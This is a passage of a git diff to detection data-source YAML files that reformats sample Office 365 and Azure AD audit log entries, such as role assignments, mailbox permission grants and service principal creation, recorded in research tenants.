"40.124.84.4", "CreationTime": "2021-01-19T22:21:39", "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "Id": "8b9e5417-c310-4382-89da-c0f25c5c0576", "InterSystemsId": "85c80877-c529-4487-8f44-48760767cc6c", "IntraSystemId": "6fc81447-9c94-4734-8bd7-307bb699c04e", "ModifiedProperties": [{"Name": "AppRole.Id", "NewValue": "97edced9-9f34-4eef-9b49-84a5ebcd5167", "OldValue": ""}, {"Name": "AppRole.Value", "NewValue": "arn:aws:iam::111111111111:role/rodonmicrotestrole,arn:aws:iam::111111111111:saml-provider/rodsotoonmicrosoft", "OldValue": ""}, {"Name": "AppRole.DisplayName", "NewValue": "rodonmicrotestrole,rodsotoonmicrosoft", "OldValue": ""}, {"Name": "User.ObjectID", "NewValue": "7646f1a9-620c-4630-b5e4-b02838be5562", "OldValue": ""}, {"Name": "User.UPN", "NewValue": "vagrant@rodsoto.onmicrosoft.com", "OldValue": ""}, {"Name": "User.PUID", "NewValue": "100320010972E450", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "https://signin.aws.amazon.com/saml;3e71560f-3e31-45ab-b439-46328fe55b88", "OldValue": ""}], "ObjectId": "https://signin.aws.amazon.com/saml;3e71560f-3e31-45ab-b439-46328fe55b88", "Operation": "Add app role assignment grant to user.", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 8, "ResultStatus": "Success", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_9fd10db9-dfe2-4d74-a724-c837eb8764d9", "Type": 2}, {"ID": "9fd10db9-dfe2-4d74-a724-c837eb8764d9", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Amazon Web Services (AWS)", "Type": 1}, {"ID": "3e71560f-3e31-45ab-b439-46328fe55b88", "Type": 2}, {"ID": "https://signin.aws.amazon.com/saml;3e71560f-3e31-45ab-b439-46328fe55b88", "Type": 4}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "rodsoto@rodsoto.onmicrosoft.com", "UserKey": "10037FFEA938FB92@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"}' +example_log: | + {"Actor": [{"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "10037FFEA938FB92", "Type": 3}, {"ID": "74658136-14ec-4630-ad9b-26e160ff0fc6", "Type": 2}, {"ID": "User_bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "40.124.84.4", "AzureActiveDirectoryEventType": 1, "ClientIP": "40.124.84.4", "CreationTime": "2021-01-05T22:38:18", "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "Id": "c85f23b8-efbe-408c-937f-87bf275b07a5", "InterSystemsId": "d5e28497-8835-49e2-8caf-25ad7d054f33", "IntraSystemId": "fea87ad1-8c77-48f6-b0fe-6f5f475f10c6", "ModifiedProperties": [{"Name": "AppRole.Id", "NewValue": "8b292bda-39b6-4b77-849e-887565235bb0", "OldValue": ""}, {"Name": "AppRole.Value", "NewValue": "", "OldValue": ""}, {"Name": "AppRole.DisplayName", "NewValue": "msiam_access", "OldValue": ""}, {"Name": "User.ObjectID", "NewValue": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "OldValue": ""}, {"Name": "User.UPN", "NewValue": "rodsoto@rodsoto.onmicrosoft.com", "OldValue": ""}, {"Name": "User.PUID", "NewValue": "10037FFEA938FB92", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "ae5ccacb-778b-4bb9-a6e8-f4027573d35e", "OldValue": ""}], "ObjectId": "ae5ccacb-778b-4bb9-a6e8-f4027573d35e", "Operation": "Add app role assignment grant to user.", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 8, "ResultStatus": "Success", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_7916f4c7-c905-47e1-973d-859e77006b47", "Type": 2}, {"ID": "7916f4c7-c905-47e1-973d-859e77006b47", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Azure AD SAML Toolkit", "Type": 1}, {"ID": "ae5ccacb-778b-4bb9-a6e8-f4027573d35e", "Type": 2}, {"ID": "ae5ccacb-778b-4bb9-a6e8-f4027573d35e", "Type": 4}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "rodsoto@rodsoto.onmicrosoft.com", "UserKey": "10037FFEA938FB92@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"} diff --git a/data_sources/o365_add_app_role_assignment_to_service_principal_.yml b/data_sources/o365_add_app_role_assignment_to_service_principal_.yml index e9a2269712..a5d2aa2198 100644 --- a/data_sources/o365_add_app_role_assignment_to_service_principal_.yml +++ b/data_sources/o365_add_app_role_assignment_to_service_principal_.yml @@ -93,4 +93,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2024-02-08T21:49:53", "Id": "a6bee61d-8b3f-42e1-b4fa-778fb05c43ac", "Operation": "Add app role assignment to service principal.", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 8, "ResultStatus": "Success", "UserKey": "Not Available", "UserType": 4, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com", "UserId": "ServicePrincipal_fc8c8125-bc0c-499d-8344-e53c6e3caa81", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Darwin 23.3.0 Darwin Kernel Version 23.3.0: Wed Dec 20 21:28:58 PST 2023; root:xnu-10002.81.5~7/RELEASE_X86_64; en-US) PowerShell/7.3.4\",\"AppId\":\"00000002-0000-0ff1-ce00-000000000000\"}"}, {"Name": "extendedAuditEventCategory", "Value": "ServicePrincipal"}], "ModifiedProperties": [{"Name": "AppRole.Id", "NewValue": "dc890d15-9560-4a4c-9b7f-a736ec74ec40", "OldValue": ""}, {"Name": "AppRole.Value", "NewValue": "full_access_as_app", "OldValue": ""}, {"Name": "AppRole.DisplayName", "NewValue": "Use Exchange Web Services with full access to all mailboxes", "OldValue": ""}, {"Name": "AppRoleAssignment.CreatedDateTime", "NewValue": "2/8/2024 9:49:53 PM", "OldValue": ""}, {"Name": "AppRoleAssignment.LastModifiedDateTime", "NewValue": "2/8/2024 9:49:53 PM", "OldValue": ""}, {"Name": "ServicePrincipal.ObjectID", "NewValue": "2e5c2fd0-cca4-452c-9891-a07c0dafd964", "OldValue": ""}, {"Name": "ServicePrincipal.DisplayName", "NewValue": "STRT_Oauth", "OldValue": ""}, {"Name": "ServicePrincipal.AppId", "NewValue": "5f91ce94-4cc5-4ebe-aeb6-f074e57201bb", "OldValue": ""}, {"Name": "ServicePrincipal.Name", "NewValue": "5f91ce94-4cc5-4ebe-aeb6-f074e57201bb", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com", "OldValue": ""}], "Actor": [{"ID": "LegacyTestOAuthApp", "Type": 1}, {"ID": "869dc64b-95b2-4003-8098-3ba39296ea46", "Type": 2}, {"ID": "ServicePrincipal_fc8c8125-bc0c-499d-8344-e53c6e3caa81", "Type": 2}, {"ID": "fc8c8125-bc0c-499d-8344-e53c6e3caa81", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "InterSystemsId": "ed53faec-49b5-444f-b6af-b928558ca433", "IntraSystemId": "00000000-0000-0000-0000-000000000000", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_8429eb5c-faeb-4ade-8eac-acc003790769", "Type": 2}, {"ID": "8429eb5c-faeb-4ade-8eac-acc003790769", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Office 365 Exchange Online", "Type": 1}, {"ID": "00000002-0000-0ff1-ce00-000000000000", "Type": 2}, {"ID": "https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com", "Type": 4}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4"}' +example_log: | + {"CreationTime": "2024-02-08T21:49:53", "Id": "a6bee61d-8b3f-42e1-b4fa-778fb05c43ac", "Operation": "Add app role assignment to service principal.", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 8, "ResultStatus": "Success", "UserKey": "Not Available", "UserType": 4, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com", "UserId": "ServicePrincipal_fc8c8125-bc0c-499d-8344-e53c6e3caa81", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Darwin 23.3.0 Darwin Kernel Version 23.3.0: Wed Dec 20 21:28:58 PST 2023; root:xnu-10002.81.5~7/RELEASE_X86_64; en-US) PowerShell/7.3.4\",\"AppId\":\"00000002-0000-0ff1-ce00-000000000000\"}"}, {"Name": "extendedAuditEventCategory", "Value": "ServicePrincipal"}], "ModifiedProperties": [{"Name": "AppRole.Id", "NewValue": "dc890d15-9560-4a4c-9b7f-a736ec74ec40", "OldValue": ""}, {"Name": "AppRole.Value", "NewValue": "full_access_as_app", "OldValue": ""}, {"Name": "AppRole.DisplayName", "NewValue": "Use Exchange Web Services with full access to all mailboxes", "OldValue": ""}, {"Name": "AppRoleAssignment.CreatedDateTime", "NewValue": "2/8/2024 9:49:53 PM", "OldValue": ""}, {"Name": "AppRoleAssignment.LastModifiedDateTime", "NewValue": "2/8/2024 9:49:53 PM", "OldValue": ""}, {"Name": "ServicePrincipal.ObjectID", "NewValue": "2e5c2fd0-cca4-452c-9891-a07c0dafd964", "OldValue": ""}, {"Name": "ServicePrincipal.DisplayName", "NewValue": "STRT_Oauth", "OldValue": ""}, {"Name": "ServicePrincipal.AppId", "NewValue": "5f91ce94-4cc5-4ebe-aeb6-f074e57201bb", "OldValue": ""}, {"Name": "ServicePrincipal.Name", "NewValue": "5f91ce94-4cc5-4ebe-aeb6-f074e57201bb", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com", "OldValue": ""}], "Actor": [{"ID": "LegacyTestOAuthApp", "Type": 1}, {"ID": "869dc64b-95b2-4003-8098-3ba39296ea46", "Type": 2}, {"ID": "ServicePrincipal_fc8c8125-bc0c-499d-8344-e53c6e3caa81", "Type": 2}, {"ID": "fc8c8125-bc0c-499d-8344-e53c6e3caa81", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "InterSystemsId": "ed53faec-49b5-444f-b6af-b928558ca433", "IntraSystemId": "00000000-0000-0000-0000-000000000000", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_8429eb5c-faeb-4ade-8eac-acc003790769", "Type": 2}, {"ID": "8429eb5c-faeb-4ade-8eac-acc003790769", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Office 365 Exchange Online", "Type": 1}, {"ID": "00000002-0000-0ff1-ce00-000000000000", "Type": 2}, {"ID": "https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com", "Type": 4}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4"} diff --git a/data_sources/o365_add_mailboxpermission.yml b/data_sources/o365_add_mailboxpermission.yml index 0bbea1cb2f..55ce10ca11 100644 --- a/data_sources/o365_add_mailboxpermission.yml +++ b/data_sources/o365_add_mailboxpermission.yml @@ -80,4 +80,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"AppId": "", "ClientAppId": "", "ClientIP": "18.159.234.121:30395", "CreationTime": "2020-12-15T10:18:53", "ExternalAccess": false, "Id": "bb6e31a3-e98f-493d-bbff-08d8a0e2d2b0", "ObjectId": "jhernan", "Operation": "Add-MailboxPermission", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "OrganizationName": "rodsoto.onmicrosoft.com", "OriginatingServer": "PH0PR14MB4341 (15.20.3654.025)", "Parameters": [{"Name": "Identity", "Value": "jhernan"}, {"Name": "User", "Value": "Patrick Bareiss"}, {"Name": "AccessRights", "Value": "FullAccess"}, {"Name": "InheritanceType", "Value": "All"}], "RecordType": 1, "ResultStatus": "True", "SessionId": "2be46662-a743-4a05-8744-c2f75f886512", "UserId": "pbareiss@rodsoto.onmicrosoft.com", "UserKey": "10032001020A3408", "UserType": 2, "Version": 1, "Workload": "Exchange"}' +example_log: | + {"AppId": "", "ClientAppId": "", "ClientIP": "18.159.234.121:30395", "CreationTime": "2020-12-15T09:41:16", "ExternalAccess": false, "Id": "d2a5f7e4-804e-432a-4318-08d8a0dd9195", "ObjectId": "jhernan", "Operation": "Add-MailboxPermission", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "OrganizationName": "rodsoto.onmicrosoft.com", "OriginatingServer": "PH0PR14MB4341 (15.20.3654.025)", "Parameters": [{"Name": "Identity", "Value": "jhernan"}, {"Name": "User", "Value": "Patrick Bareiss"}, {"Name": "AccessRights", "Value": "FullAccess"}, {"Name": "InheritanceType", "Value": "All"}], "RecordType": 1, "ResultStatus": "True", "SessionId": "2be46662-a743-4a05-8744-c2f75f886512", "UserId": "pbareiss@rodsoto.onmicrosoft.com", "UserKey": "10032001020A3408", "UserType": 2, "Version": 1, "Workload": "Exchange"} diff --git a/data_sources/o365_add_member_to_role_.yml b/data_sources/o365_add_member_to_role_.yml index ed78a25466..48b899aaf0 100644 --- a/data_sources/o365_add_member_to_role_.yml +++ b/data_sources/o365_add_member_to_role_.yml @@ -99,4 +99,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-10-20T16:50:46", "Id": "30a8b107-b190-406c-9b80-c3f5c3a29129", "Operation": "Add member to role.", "OrganizationId": "d8211c86-3244-409b-8c4f-ae27ed34b4a5", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "lowpriv@splunkresearch.onmicrosoft.com", "UserId": "attacker@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "Role"}], "ModifiedProperties": [{"Name": "Role.ObjectID", "NewValue": "0ee19da2-ee3d-4743-ae53-8cb79599c384", "OldValue": ""}, {"Name": "Role.DisplayName", "NewValue": "Company Administrator", "OldValue": ""}, {"Name": "Role.TemplateId", "NewValue": "62e90394-69f5-4237-9190-012177145e10", "OldValue": ""}, {"Name": "Role.WellKnownObjectName", "NewValue": "TenantAdmins", "OldValue": ""}], "Actor": [{"ID": "attacker@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "Microsoft Office 365 Portal", "Type": 1}, {"ID": "00000006-0000-0ff1-ce00-000000000000", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "d8211c86-3244-409b-8c4f-ae27ed34b4a5", "InterSystemsId": "6a6b4dfe-8b77-49db-9999-510115d1f3dd", "IntraSystemId": "c36bfbae-b287-415b-bc14-ab5c3a9248d7", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "lowpriv@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "d8211c86-3244-409b-8c4f-ae27ed34b4a5"}' +example_log: | + {"CreationTime": "2023-10-20T16:50:46", "Id": "30a8b107-b190-406c-9b80-c3f5c3a29129", "Operation": "Add member to role.", "OrganizationId": "d8211c86-3244-409b-8c4f-ae27ed34b4a5", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "lowpriv@splunkresearch.onmicrosoft.com", "UserId": "attacker@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "Role"}], "ModifiedProperties": [{"Name": "Role.ObjectID", "NewValue": "0ee19da2-ee3d-4743-ae53-8cb79599c384", "OldValue": ""}, {"Name": "Role.DisplayName", "NewValue": "Company Administrator", "OldValue": ""}, {"Name": "Role.TemplateId", "NewValue": "62e90394-69f5-4237-9190-012177145e10", "OldValue": ""}, {"Name": "Role.WellKnownObjectName", "NewValue": "TenantAdmins", "OldValue": ""}], "Actor": [{"ID": "attacker@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "Microsoft Office 365 Portal", "Type": 1}, {"ID": "00000006-0000-0ff1-ce00-000000000000", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "d8211c86-3244-409b-8c4f-ae27ed34b4a5", "InterSystemsId": "6a6b4dfe-8b77-49db-9999-510115d1f3dd", "IntraSystemId": "c36bfbae-b287-415b-bc14-ab5c3a9248d7", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "lowpriv@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "d8211c86-3244-409b-8c4f-ae27ed34b4a5"} diff --git a/data_sources/o365_add_owner_to_application_.yml b/data_sources/o365_add_owner_to_application_.yml index 8e444c31bb..70dc0f8a82 100644 --- a/data_sources/o365_add_owner_to_application_.yml +++ b/data_sources/o365_add_owner_to_application_.yml @@ -101,4 +101,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-09-07T13:42:04", "Id": "6e2c723b-8f6e-47f4-8c60-fa23ef3fccee", "Operation": "Add owner to application.", "OrganizationId": "48203edf-5d2c-45f2-8123-a368cc8b0e51", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@contoso.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "user2@contoso.onmicrosoft.com", "UserId": "user@contoso.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\"}"}, {"Name": "extendedAuditEventCategory", "Value": "Application"}], "ModifiedProperties": [{"Name": "Application.ObjectID", "NewValue": "a2d68f8b-ab9f-47ac-934f-b966c3ac134f", "OldValue": ""}, {"Name": "Application.DisplayName", "NewValue": "TestApp2", "OldValue": ""}, {"Name": "Application.AppId", "NewValue": "95106c0e-3519-450e-8e38-7f326d873454", "OldValue": ""}], "Actor": [{"ID": "user@contoso.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "48203edf-5d2c-45f2-8123-a368cc8b0e51", "InterSystemsId": "3f6a58c5-2fba-401d-b137-82b860830213", "IntraSystemId": "e8034ddc-0ca3-4aca-996c-1dc6dee48679", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "user2@contoso.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "48203edf-5d2c-45f2-8123-a368cc8b0e51"}' +example_log: | + {"CreationTime": "2023-09-07T13:42:04", "Id": "6e2c723b-8f6e-47f4-8c60-fa23ef3fccee", "Operation": "Add owner to application.", "OrganizationId": "48203edf-5d2c-45f2-8123-a368cc8b0e51", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@contoso.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "user2@contoso.onmicrosoft.com", "UserId": "user@contoso.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\"}"}, {"Name": "extendedAuditEventCategory", "Value": "Application"}], "ModifiedProperties": [{"Name": "Application.ObjectID", "NewValue": "a2d68f8b-ab9f-47ac-934f-b966c3ac134f", "OldValue": ""}, {"Name": "Application.DisplayName", "NewValue": "TestApp2", "OldValue": ""}, {"Name": "Application.AppId", "NewValue": "95106c0e-3519-450e-8e38-7f326d873454", "OldValue": ""}], "Actor": [{"ID": "user@contoso.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "48203edf-5d2c-45f2-8123-a368cc8b0e51", "InterSystemsId": "3f6a58c5-2fba-401d-b137-82b860830213", "IntraSystemId": "e8034ddc-0ca3-4aca-996c-1dc6dee48679", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "user2@contoso.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "48203edf-5d2c-45f2-8123-a368cc8b0e51"} diff --git a/data_sources/o365_add_service_principal_.yml b/data_sources/o365_add_service_principal_.yml index a918e4d7f0..d67ba403e4 100644 --- a/data_sources/o365_add_service_principal_.yml +++ b/data_sources/o365_add_service_principal_.yml @@ -102,4 +102,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2024-02-07T22:31:14", "Id": "f624ed92-b4a2-4d42-aa8b-20a261d06b7f", "Operation": "Add service principal.", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "UserId": "user30@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\",\"AppId\":\"e06366ca-8489-4748-b6a2-d7e4332f45c1\"}"}, {"Name": "extendedAuditEventCategory", "Value": "ServicePrincipal"}], "ModifiedProperties": [{"Name": "AccountEnabled", "NewValue": "[\r\n true\r\n]", "OldValue": "[]"}, {"Name": "AppPrincipalId", "NewValue": "[\r\n \"e06366ca-8489-4748-b6a2-d7e4332f45c1\"\r\n]", "OldValue": "[]"}, {"Name": "DisplayName", "NewValue": "[\r\n \"Malicious11\"\r\n]", "OldValue": "[]"}, {"Name": "ServicePrincipalName", "NewValue": "[\r\n \"e06366ca-8489-4748-b6a2-d7e4332f45c1\"\r\n]", "OldValue": "[]"}, {"Name": "Credential", "NewValue": "[\r\n {\r\n \"CredentialType\": 2,\r\n \"KeyStoreId\": \"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\",\r\n \"KeyGroupId\": \"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\"\r\n }\r\n]", "OldValue": "[]"}, {"Name": "Included Updated Properties", "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "OldValue": ""}], 